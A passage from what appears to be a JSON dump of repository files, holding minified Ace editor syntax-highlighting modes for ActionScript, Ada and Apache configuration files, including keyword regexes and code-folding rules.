|ose))|ID3|D(?:isconnect|eactivate|ata|ragO(?:ut|ver))|Un(?:install|load)|P(?:aymentResult|ress)|EnterFrame|K(?:illFocus|ey(?:Down|Up))|Fault|Lo(?:ad|g)|A(?:ctiv(?:ity|ate)|ppSt(?:op|art)))?|pe(?:n|ration)|verLayChildren|kLabel|ldValue|r(?:d)?)|d(?:i(?:s(?:connect|play(?:Normal|ed(?:Month|Year)|Full)|able(?:Shader|d(?:Ranges|Days)|CloseBox|Events))|rection)|o(?:cTypeDecl|tall|Decoding|main|LazyDecoding)|u(?:plicateMovieClip|ration)|e(?:stroy(?:ChildAt|Object)|code|fault(?:PushButton(?:Enabled)?|KeydownHandler)?|l(?:ta(?:Packet(?:Changed)?)?|ete(?:PopUp|All)?)|blocking)|a(?:shBoardSave|yNames|ta(?:Provider)?|rkshadow)|r(?:opdown(?:Width)?|a(?:w|gO(?:ut|ver))))|u(?:se(?:Sort|HandCursor|Codepage|EchoSuppression)|n(?:shift|install|derline|escape|format|watch|lo(?:ck|ad(?:Movie(?:Num)?)?))|pdate(?:Results|Mode|I(?:nputProperties|tem(?:ByIndex)?)|P(?:acket|roperties)|View|AfterEvent)|rl)|join|p(?:ixelAspectRatio|o(?:sition|p|w)|u(?:sh|rge|blish)|ercen(?:tComplete|Loaded)|lay(?:head(?:Change|Time)|ing|Hidden|erType)?|a(?:ssword|use|r(?:se(?:XML|CSS|Int|Float)|ent(?:Node|Is(?:S(?:creen|lide)|Form))|ams))|r(?:int(?:Num|AsBitmap(?:Num)?)?|o(?:to(?:type)?|pert(?:y|ies)|gress)|e(?:ss|v(?:ious(?:S(?:ibling|lide)|Value)?|Scene|Frame)|ferred(?:Height|Width))))|e(?:scape|n(?:code(?:r)?|ter(?:Frame)?|dFill|able(?:Shader|d|CloseBox|Events))|dit(?:able|Field|LocationDialog)|v(?:ent|al(?:uate)?)|q|x(?:tended|p|ec(?:ute)?|actSettings)|m(?:phasized(?:StyleDeclaration)?|bedFonts))|v(?:i(?:sible|ewPod)|ScrollPolicy|o(?:id|lume)|ersion|P(?:osition|ageScrollSize)|a(?:l(?:idat(?:ionError|e(?:Property|ActivationKey)?)|ue(?:Of)?)|riable)|LineScrollSize)|k(?:ind|ey(?:Down|Up|Press|FrameInterval))|q(?:sort|uality)|f(?:scommand|i(?:n(?:d(?:Text|First|Last)?|ally)|eldInfo|lter(?:ed|Func)?|rst(?:Slide|Child|DayOfWeek|VisibleNode)?)|o(?:nt|cus(?:In|edCell|Out|Enabled)|r(?:egroundDisabled|mat(?:ter)?))|unctionName|ps|l(?:oor|ush)|ace|romCharCode)|w(?:i(?:th|dth)|ordWrap|atch|riteAccess)|l(?:t|i(?:st(?:Owner)?|ne(?:Style|To))|o(?:c(?:k|a(?:t(?:ion|eByld)|l(?:ToGlobal|FileReadDisable)))|opback|ad(?:Movie(?:Num)?|S(?:crollContent|ound)|ed|Variables(?:Num)?|Application)?|g(?:Changes)?)|e(?:ngth|ft(?:Margin)?|ading)?|a(?:st(?:Slide|Child|Index(?:Of)?)?|nguage|b(?:el(?:Placement|F(?:ield|unction))?|leField)))|a(?:s(?:scociate(?:Controller|Display)|in|pectRatio|function)|nd|c(?:ceptConnection|tiv(?:ityLevel|ePlayControl)|os)|t(?:t(?:ach(?:Movie|Sound|Video|Audio)|ributes)|an(?:2)?)|dd(?:header|RequestHeader|Menu(?:Item(?:At)?|At)?|Sort|Header|No(?:tice|de(?:At)?)|C(?:olumn(?:At)?|uePoint)|T(?:oLocalInternetCache|reeNode(?:At)?)|I(?:con|tem(?:s(?:At)?|At)?)|DeltaItem|P(?:od|age|roperty)|EventListener|View|FieldInfo|Listener|Animation)?|uto(?:Size|Play|KeyNav|Load)|pp(?:endChild|ly(?:Changes|Updates)?)|vHardwareDisable|fterLoaded|l(?:ternateRowColors|ign|l(?:ow(?:InsecureDomain|Domain)|Transitions(?:InDone|OutDone))|bum)|r(?:tist|row|g(?:uments|List))|gent|bs)|r(?:ight(?:Margin)?|o(?:ot(?:S(?:creen|lide)|Form)|und|w(?:Height|Count)|llO(?:ut|ver))|e(?:s(?:yncDepth|t(?:orePane|artAnimation|rict)|iz(?:e|able(?:Columns)?)|olveDelta|ult(?:s)?|ponse)|c(?:o(?:ncile(?:Results|Updates)|rd)|eive(?:Video|Audio))|draw|jectConnection|place(?:Sel|ItemAt|AllItems)?|ve(?:al(?:Child)?|rse)|quest(?:SizeChange|Payment)?|f(?:errer|resh(?:ScrollContent|Destinations|Pane|FromSources)?)|lease(?:Outside)?|ad(?:Only|Access)|gister(?:SkinElement|C(?:olor(?:Style|Name)|lass)|InheritingStyle|Proxy)|move(?:Range|M(?:ovieClip|enu(?:Item(?:At)?|At))|Background|Sort|No(?:tice|de(?:sAt|At)?)|C(?:olum(?:nAt|At)|uePoints)|T(?:extField|reeNode(?:At)?)|Item(?:At)?|Pod|EventListener|FromLocalInternetCache|Listener|All(?:C(?:olumns|uePoints)|Items)?))|a(?:ndom|te|dioDot))|g(?:t|oto(?:Slide|NextSlide|PreviousSlide|FirstSlide|LastSlide|And(?:Stop|Play))|e(?:nre|t(?:R(?:GB|o(?:otNode|wCount)|e(?:sizable|mote))|X(?:AxisTitle)?|M(?:i(?:n(?:imum(?:Size)?|utes)|lliseconds)|onth(?:Names)?|ultilineMode|e(?:ssage|nu(?:ItemAt|EnabledAt|At))|aximum(?:Size)?)|B(?:ytes(?:Total|Loaded)|ounds|utton(?:s|Width)|eginIndex|a(?:ndwidthLimit|ckground))|S(?:howAsDisabled|croll(?:ing|Speed|Content|Position|barState|Location)|t(?:yle(?:Names)?|opOnFocus|ate)|ize|o(?:urce|rtState)|p(?:litterBarPosition|acing)|e(?:conds|lect(?:Multiple|ion(?:Required|Type)|Style|ed(?:Node(?:s)?|Cell|Text|I(?:nd(?:ices|ex)|tem(?:s)?))?)|rvice)|moothness|WFVersion)|H(?:ighlight(?:s|Color)|ours|e(?:ight|ader(?:Height|Text|Property|Format|Width|Location)?)|as(?:Shader|CloseBox))|Y(?:ear|AxisTitle)?|N(?:o(?:tices|de(?:DisplayedAt|At))|um(?:Children|berAvailable)|e(?:wTextFormat|xtHighestDepth))|C(?:h(?:ild(?:S(?:creen|lide)|Nodes|Form|At)|artTitle)|o(?:n(?:tent|figInfo)|okie|de|unt|lumn(?:Names|Count|Index|At))|uePoint|ellIndex|loseHandler|a(?:ll|retIndex))|T(?:ypedValue|i(?:tle(?:barHeight)?|p(?:Target|Offset)?|me(?:stamp|zoneOffset|out(?:State|Handler)|r)?)|oggle|ext(?:Extent|Format)?|r(?:ee(?:NodeAt|Length)|ans(?:form|actionId)))|I(?:s(?:Branch|Open)|n(?:stanceAtDepth|d(?:icesByKey|exByKey))|con(?:SymbolName)?|te(?:rator|m(?:sByKey|By(?:Name|Key)|id|ID|At))|d)|O(?:utput(?:Parameter(?:s|ByName)?|Value(?:s)?)|peration|ri(?:entation|ginalCellData))|D(?:i(?:s(?:play(?:Range|Mode|Clip|Index|edMonth)|kUsage)|rection)|uration|e(?:pth|faultNodeIconSymbolName|l(?:taPacket|ay)|bug(?:Config|ID)?)|a(?:y(?:OfWeekNames)?|t(?:e|a(?:Mapping(?:s)?|Item(?:Text|Property|Format)|Label|All(?:Height|Property|Format|Width))?))|rawConnectors)|U(?:se(?:Shadow|HandCursor|rInput|Fade)|RL|TC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear))|P(?:o(?:sition|ds)|ercentComplete|a(?:n(?:e(?:M(?:inimums|aximums)|Height|Title|Width))?|rentNode)|r(?:operty(?:Name|Data)?|efer(?:ences|red(?:Height|Width))))|E(?:n(?:dIndex|abled)|ditingData|x(?:panderSymbolName|andNodeTrigger))|V(?:iewed(?:Pods|Applications)|olume|ersion|alue(?:Source)?)|F(?:i(?:eld|rst(?:DayOfWeek|VisibleNode))|o(?:ntList|cus)|ullYear|ade(?:InLength|OutLength)|rame(?:Color|Width))|Width|L(?:ine(?:Color|Weight)|o(?:cal|adTarget)|ength|a(?:stTabIndex|bel(?:Source)?))|A(?:s(?:cii|Boolean|String|Number)|n(?:yTypedValue|imation)|ctiv(?:eState(?:Handler)?|ateHandler)|utoH(?:ideScrollBar|eight)|llItems|gent))?)?|lobal(?:StyleFormat|ToLocal)?|ain|roupName)|x(?:updatePackety|mlDecl)?|m(?:y(?:MethodName|Call)|in(?:imum)?|o(?:nthNames|tion(?:TimeOut|Level)|de(?:lChanged)?|use(?:Move|O(?:ut|ver)|Down(?:Somewhere|Outside)?|Up(?:Somewhere)?|WheelEnabled)|ve(?:To)?)|u(?:ted|lti(?:pleS(?:imultaneousAllowed|elections)|line))|e(?:ssage|nu(?:Show|Hide)?|th(?:od)?|diaType)|a(?:nufacturer|tch|x(?:scroll|hscroll|imum|HPosition|Chars|VPosition)?)|b(?:substring|chr|ord|length))|b(?:ytes(?:Total|Loaded)|indFormat(?:Strings|Function)|o(?:ttom(?:Scroll)?|ld|rder(?:Color)?)|u(?:tton(?:Height|Width)|iltInItems|ffer(?:Time|Length)|llet)|e(?:foreApplyUpdates|gin(?:GradientFill|Fill))|lockIndent|a(?:ndwidth|ckground(?:Style|Color|Disabled)?)|roadcastMessage)|onHTTPStatus)\\\\b\"},{token:\"support.constant.actionscript.2\",regex:\"\\\\b(?:__proto__|__resolve|_accProps|_alpha|_changed|_currentframe|_droptarget|_flash|_focusrect|_framesloaded|_global|_height|_highquality|_level|_listeners|_lockroot|_name|_parent|_quality|_root|_rotation|_soundbuftime|_target|_totalframes|_url|_visible|_width|_x|_xmouse|_xscale|_y|_ymouse|_yscale)\\\\b\"},{token:\"keyword.control.actionscript.2\",regex:\"\\\\b(?:dynamic|extends|import|implements|interface|public|private|new|static|super|var|for|in|break|continue|while|do|return|if|else|case|switch)\\\\b\"},{token:\"storage.type.actionscript.2\",regex:\"\\\\b(?:Boolean|Number|String|Void)\\\\b\"},{token:\"constant.language.actionscript.2\",regex:\"\\\\b(?:null|undefined|true|false)\\\\b\"},{token:\"constant.numeric.actionscript.2\",regex:\"\\\\b(?:0(?:x|X)[0-9a-fA-F]*|(?:[0-9]+\\\\.?[0-9]*|\\\\.[0-9]+)(?:(?:e|E)(?:\\\\+|-)?[0-9]+)?)(?:L|l|UL|ul|u|U|F|f)?\\\\b\"},{token:\"punctuation.definition.string.begin.actionscript.2\",regex:'\"',push:[{token:\"punctuation.definition.string.end.actionscript.2\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.actionscript.2\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.double.actionscript.2\"}]},{token:\"punctuation.definition.string.begin.actionscript.2\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.actionscript.2\",regex:\"'\",next:\"pop\"},{token:\"constant.character.escape.actionscript.2\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.single.actionscript.2\"}]},{token:\"support.constant.actionscript.2\",regex:\"\\\\b(?:BACKSPACE|CAPSLOCK|CONTROL|DELETEKEY|DOWN|END|ENTER|HOME|INSERT|LEFT|LN10|LN2|LOG10E|LOG2E|MAX_VALUE|MIN_VALUE|NEGATIVE_INFINITY|NaN|PGDN|PGUP|PI|POSITIVE_INFINITY|RIGHT|SPACE|SQRT1_2|SQRT2|UP)\\\\b\"},{token:\"punctuation.definition.comment.actionscript.2\",regex:\"/\\\\*\",push:[{token:\"punctuation.definition.comment.actionscript.2\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.actionscript.2\"}]},{token:\"punctuation.definition.comment.actionscript.2\",regex:\"//.*$\",push_:[{token:\"comment.line.double-slash.actionscript.2\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.double-slash.actionscript.2\"}]},{token:\"keyword.operator.actionscript.2\",regex:\"\\\\binstanceof\\\\b\"},{token:\"keyword.operator.symbolic.actionscript.2\",regex:\"[-!%&*+=/?:]\"},{token:[\"meta.preprocessor.actionscript.2\",\"punctuation.definition.preprocessor.actionscript.2\",\"meta.preprocessor.actionscript.2\"],regex:\"^([ \\\\t]*)(#)([a-zA-Z]+)\"},{token:[\"storage.type.function.actionscript.2\",\"meta.function.actionscript.2\",\"entity.name.function.actionscript.2\",\"meta.function.actionscript.2\",\"punctuation.definition.parameters.begin.actionscript.2\"],regex:\"\\\\b(function)(\\\\s+)([a-zA-Z_]\\\\w*)(\\\\s*)(\\\\()\",push:[{token:\"punctuation.definition.parameters.end.actionscript.2\",regex:\"\\\\)\",next:\"pop\"},{token:\"variable.parameter.function.actionscript.2\",regex:\"[^,)$]+\"},{defaultToken:\"meta.function.actionscript.2\"}]},{token:[\"storage.type.class.actionscript.2\",\"meta.class.actionscript.2\",\"entity.name.type.class.actionscript.2\",\"meta.class.actionscript.2\",\"storage.modifier.extends.actionscript.2\",\"meta.class.actionscript.2\",\"entity.other.inherited-class.actionscript.2\"],regex:\"\\\\b(class)(\\\\s+)([a-zA-Z_](?:\\\\w|\\\\.)*)(?:(\\\\s+)(extends)(\\\\s+)([a-zA-Z_](?:\\\\w|\\\\.)*))?\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"as\"],keyEquivalent:\"^~A\",name:\"ActionScript\",scopeName:\"source.actionscript.2\"},r.inherits(s,i),t.ActionScriptHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/actionscript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/actionscript_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./actionscript_highlight_rules\").ActionScriptHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/actionscript\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-ada.js",
    "content": "define(\"ace/mode/ada_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"abort|else|new|return|abs|elsif|not|reverse|abstract|end|null|accept|entry|select|access|exception|of|separate|aliased|exit|or|some|all|others|subtype|and|for|out|synchronized|array|function|overriding|at|tagged|generic|package|task|begin|goto|pragma|terminate|body|private|then|if|procedure|type|case|in|protected|constant|interface|until||is|raise|use|declare|range|delay|limited|record|when|delta|loop|rem|while|digits|renames|with|do|mod|requeue|xor\",t=\"true|false|null\",n=\"count|min|max|avg|sum|rank|now|coalesce|main\",r=this.createKeywordMapper({\"support.function\":n,keyword:e,\"constant.language\":t},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"--.*$\"},{token:\"string\",regex:'\".*?\"'},{token:\"string\",regex:\"'.*?'\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|%|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(s,i),t.AdaHighlightRules=s}),define(\"ace/mode/ada\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ada_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ada_highlight_rules\").AdaHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.$id=\"ace/mode/ada\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-apache_conf.js",
    "content": "define(\"ace/mode/apache_conf_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"punctuation.definition.comment.apacheconf\",\"comment.line.hash.ini\",\"comment.line.hash.ini\"],regex:\"^((?:\\\\s)*)(#)(.*$)\"},{token:[\"punctuation.definition.tag.apacheconf\",\"entity.tag.apacheconf\",\"text\",\"string.value.apacheconf\",\"punctuation.definition.tag.apacheconf\"],regex:\"(<)(Proxy|ProxyMatch|IfVersion|Directory|DirectoryMatch|Files|FilesMatch|IfDefine|IfModule|Limit|LimitExcept|Location|LocationMatch|VirtualHost)(?:(\\\\s)(.+?))?(>)\"},{token:[\"punctuation.definition.tag.apacheconf\",\"entity.tag.apacheconf\",\"punctuation.definition.tag.apacheconf\"],regex:\"(</)(Proxy|ProxyMatch|IfVersion|Directory|DirectoryMatch|Files|FilesMatch|IfDefine|IfModule|Limit|LimitExcept|Location|LocationMatch|VirtualHost)(>)\"},{token:[\"keyword.alias.apacheconf\",\"text\",\"string.regexp.apacheconf\",\"text\",\"string.replacement.apacheconf\",\"text\"],regex:\"(Rewrite(?:Rule|Cond))(\\\\s+)(.+?)(\\\\s+)(.+?)($|\\\\s)\"},{token:[\"keyword.alias.apacheconf\",\"text\",\"entity.status.apacheconf\",\"text\",\"string.regexp.apacheconf\",\"text\",\"string.path.apacheconf\",\"text\"],regex:\"(RedirectMatch)(?:(\\\\s+)(\\\\d\\\\d\\\\d|permanent|temp|seeother|gone))?(\\\\s+)(.+?)(\\\\s+)(?:(.+?)($|\\\\s))?\"},{token:[\"keyword.alias.apacheconf\",\"text\",\"entity.status.apacheconf\",\"text\",\"string.path.apacheconf\",\"text\",\"string.path.apacheconf\",\"text\"],regex:\"(Redirect)(?:(\\\\s+)(\\\\d\\\\d\\\\d|permanent|temp|seeother|gone))?(\\\\s+)(.+?)(\\\\s+)(?:(.+?)($|\\\\s))?\"},{token:[\"keyword.alias.apacheconf\",\"text\",\"string.regexp.apacheconf\",\"text\",\"string.path.apacheconf\",\"text\"],regex:\"(ScriptAliasMatch|AliasMatch)(\\\\s+)(.+?)(\\\\s+)(?:(.+?)(\\\\s))?\"},{token:[\"keyword.alias.apacheconf\",\"text\",\"string.path.apacheconf\",\"text\",\"string.path.apacheconf\",\"text\"],regex:\"(RedirectPermanent|RedirectTemp|ScriptAlias|Alias)(\\\\s+)(.+?)(\\\\s+)(?:(.+?)($|\\\\s))?\"},{token:\"keyword.core.apacheconf\",regex:\"\\\\b(?:AcceptPathInfo|AccessFileName|AddDefaultCharset|AddOutputFilterByType|AllowEncodedSlashes|AllowOverride|AuthName|AuthType|CGIMapExtension|ContentDigest|DefaultType|DocumentRoot|EnableMMAP|EnableSendfile|ErrorDocument|ErrorLog|FileETag|ForceType|HostnameLookups|IdentityCheck|Include|KeepAlive|KeepAliveTimeout|LimitInternalRecursion|LimitRequestBody|LimitRequestFields|LimitRequestFieldSize|LimitRequestLine|LimitXMLRequestBody|LogLevel|MaxKeepAliveRequests|NameVirtualHost|Options|Require|RLimitCPU|RLimitMEM|RLimitNPROC|Satisfy|ScriptInterpreterSource|ServerAdmin|ServerAlias|ServerName|ServerPath|ServerRoot|ServerSignature|ServerTokens|SetHandler|SetInputFilter|SetOutputFilter|TimeOut|TraceEnable|UseCanonicalName)\\\\b\"},{token:\"keyword.mpm.apacheconf\",regex:\"\\\\b(?:AcceptMutex|AssignUserID|BS2000Account|ChildPerUserID|CoreDumpDirectory|EnableExceptionHook|Group|Listen|ListenBacklog|LockFile|MaxClients|MaxMemFree|MaxRequestsPerChild|MaxRequestsPerThread|MaxSpareServers|MaxSpareThreads|MaxThreads|MaxThreadsPerChild|MinSpareServers|MinSpareThreads|NumServers|PidFile|ReceiveBufferSize|ScoreBoardFile|SendBufferSize|ServerLimit|StartServers|StartThreads|ThreadLimit|ThreadsPerChild|ThreadStackSize|User|Win32DisableAcceptEx)\\\\b\"},{token:\"keyword.access.apacheconf\",regex:\"\\\\b(?:Allow|Deny|Order)\\\\b\"},{token:\"keyword.actions.apacheconf\",regex:\"\\\\b(?:Action|Script)\\\\b\"},{token:\"keyword.alias.apacheconf\",regex:\"\\\\b(?:Alias|AliasMatch|Redirect|RedirectMatch|RedirectPermanent|RedirectTemp|ScriptAlias|ScriptAliasMatch)\\\\b\"},{token:\"keyword.auth.apacheconf\",regex:\"\\\\b(?:AuthAuthoritative|AuthGroupFile|AuthUserFile)\\\\b\"},{token:\"keyword.auth_anon.apacheconf\",regex:\"\\\\b(?:Anonymous|Anonymous_Authoritative|Anonymous_LogEmail|Anonymous_MustGiveEmail|Anonymous_NoUserID|Anonymous_VerifyEmail)\\\\b\"},{token:\"keyword.auth_dbm.apacheconf\",regex:\"\\\\b(?:AuthDBMAuthoritative|AuthDBMGroupFile|AuthDBMType|AuthDBMUserFile)\\\\b\"},{token:\"keyword.auth_digest.apacheconf\",regex:\"\\\\b(?:AuthDigestAlgorithm|AuthDigestDomain|AuthDigestFile|AuthDigestGroupFile|AuthDigestNcCheck|AuthDigestNonceFormat|AuthDigestNonceLifetime|AuthDigestQop|AuthDigestShmemSize)\\\\b\"},{token:\"keyword.auth_ldap.apacheconf\",regex:\"\\\\b(?:AuthLDAPAuthoritative|AuthLDAPBindDN|AuthLDAPBindPassword|AuthLDAPCharsetConfig|AuthLDAPCompareDNOnServer|AuthLDAPDereferenceAliases|AuthLDAPEnabled|AuthLDAPFrontPageHack|AuthLDAPGroupAttribute|AuthLDAPGroupAttributeIsDN|AuthLDAPRemoteUserIsDN|AuthLDAPUrl)\\\\b\"},{token:\"keyword.autoindex.apacheconf\",regex:\"\\\\b(?:AddAlt|AddAltByEncoding|AddAltByType|AddDescription|AddIcon|AddIconByEncoding|AddIconByType|DefaultIcon|HeaderName|IndexIgnore|IndexOptions|IndexOrderDefault|ReadmeName)\\\\b\"},{token:\"keyword.cache.apacheconf\",regex:\"\\\\b(?:CacheDefaultExpire|CacheDisable|CacheEnable|CacheForceCompletion|CacheIgnoreCacheControl|CacheIgnoreHeaders|CacheIgnoreNoLastMod|CacheLastModifiedFactor|CacheMaxExpire)\\\\b\"},{token:\"keyword.cern_meta.apacheconf\",regex:\"\\\\b(?:MetaDir|MetaFiles|MetaSuffix)\\\\b\"},{token:\"keyword.cgi.apacheconf\",regex:\"\\\\b(?:ScriptLog|ScriptLogBuffer|ScriptLogLength)\\\\b\"},{token:\"keyword.cgid.apacheconf\",regex:\"\\\\b(?:ScriptLog|ScriptLogBuffer|ScriptLogLength|ScriptSock)\\\\b\"},{token:\"keyword.charset_lite.apacheconf\",regex:\"\\\\b(?:CharsetDefault|CharsetOptions|CharsetSourceEnc)\\\\b\"},{token:\"keyword.dav.apacheconf\",regex:\"\\\\b(?:Dav|DavDepthInfinity|DavMinTimeout|DavLockDB)\\\\b\"},{token:\"keyword.deflate.apacheconf\",regex:\"\\\\b(?:DeflateBufferSize|DeflateCompressionLevel|DeflateFilterNote|DeflateMemLevel|DeflateWindowSize)\\\\b\"},{token:\"keyword.dir.apacheconf\",regex:\"\\\\b(?:DirectoryIndex|DirectorySlash)\\\\b\"},{token:\"keyword.disk_cache.apacheconf\",regex:\"\\\\b(?:CacheDirLength|CacheDirLevels|CacheExpiryCheck|CacheGcClean|CacheGcDaily|CacheGcInterval|CacheGcMemUsage|CacheGcUnused|CacheMaxFileSize|CacheMinFileSize|CacheRoot|CacheSize|CacheTimeMargin)\\\\b\"},{token:\"keyword.dumpio.apacheconf\",regex:\"\\\\b(?:DumpIOInput|DumpIOOutput)\\\\b\"},{token:\"keyword.env.apacheconf\",regex:\"\\\\b(?:PassEnv|SetEnv|UnsetEnv)\\\\b\"},{token:\"keyword.expires.apacheconf\",regex:\"\\\\b(?:ExpiresActive|ExpiresByType|ExpiresDefault)\\\\b\"},{token:\"keyword.ext_filter.apacheconf\",regex:\"\\\\b(?:ExtFilterDefine|ExtFilterOptions)\\\\b\"},{token:\"keyword.file_cache.apacheconf\",regex:\"\\\\b(?:CacheFile|MMapFile)\\\\b\"},{token:\"keyword.headers.apacheconf\",regex:\"\\\\b(?:Header|RequestHeader)\\\\b\"},{token:\"keyword.imap.apacheconf\",regex:\"\\\\b(?:ImapBase|ImapDefault|ImapMenu)\\\\b\"},{token:\"keyword.include.apacheconf\",regex:\"\\\\b(?:SSIEndTag|SSIErrorMsg|SSIStartTag|SSITimeFormat|SSIUndefinedEcho|XBitHack)\\\\b\"},{token:\"keyword.isapi.apacheconf\",regex:\"\\\\b(?:ISAPIAppendLogToErrors|ISAPIAppendLogToQuery|ISAPICacheFile|ISAPIFakeAsync|ISAPILogNotSupported|ISAPIReadAheadBuffer)\\\\b\"},{token:\"keyword.ldap.apacheconf\",regex:\"\\\\b(?:LDAPCacheEntries|LDAPCacheTTL|LDAPConnectionTimeout|LDAPOpCacheEntries|LDAPOpCacheTTL|LDAPSharedCacheFile|LDAPSharedCacheSize|LDAPTrustedCA|LDAPTrustedCAType)\\\\b\"},{token:\"keyword.log.apacheconf\",regex:\"\\\\b(?:BufferedLogs|CookieLog|CustomLog|LogFormat|TransferLog|ForensicLog)\\\\b\"},{token:\"keyword.mem_cache.apacheconf\",regex:\"\\\\b(?:MCacheMaxObjectCount|MCacheMaxObjectSize|MCacheMaxStreamingBuffer|MCacheMinObjectSize|MCacheRemovalAlgorithm|MCacheSize)\\\\b\"},{token:\"keyword.mime.apacheconf\",regex:\"\\\\b(?:AddCharset|AddEncoding|AddHandler|AddInputFilter|AddLanguage|AddOutputFilter|AddType|DefaultLanguage|ModMimeUsePathInfo|MultiviewsMatch|RemoveCharset|RemoveEncoding|RemoveHandler|RemoveInputFilter|RemoveLanguage|RemoveOutputFilter|RemoveType|TypesConfig)\\\\b\"},{token:\"keyword.misc.apacheconf\",regex:\"\\\\b(?:ProtocolEcho|Example|AddModuleInfo|MimeMagicFile|CheckSpelling|ExtendedStatus|SuexecUserGroup|UserDir)\\\\b\"},{token:\"keyword.negotiation.apacheconf\",regex:\"\\\\b(?:CacheNegotiatedDocs|ForceLanguagePriority|LanguagePriority)\\\\b\"},{token:\"keyword.nw_ssl.apacheconf\",regex:\"\\\\b(?:NWSSLTrustedCerts|NWSSLUpgradeable|SecureListen)\\\\b\"},{token:\"keyword.proxy.apacheconf\",regex:\"\\\\b(?:AllowCONNECT|NoProxy|ProxyBadHeader|ProxyBlock|ProxyDomain|ProxyErrorOverride|ProxyFtpDirCharset|ProxyIOBufferSize|ProxyMaxForwards|ProxyPass|ProxyPassReverse|ProxyPreserveHost|ProxyReceiveBufferSize|ProxyRemote|ProxyRemoteMatch|ProxyRequests|ProxyTimeout|ProxyVia)\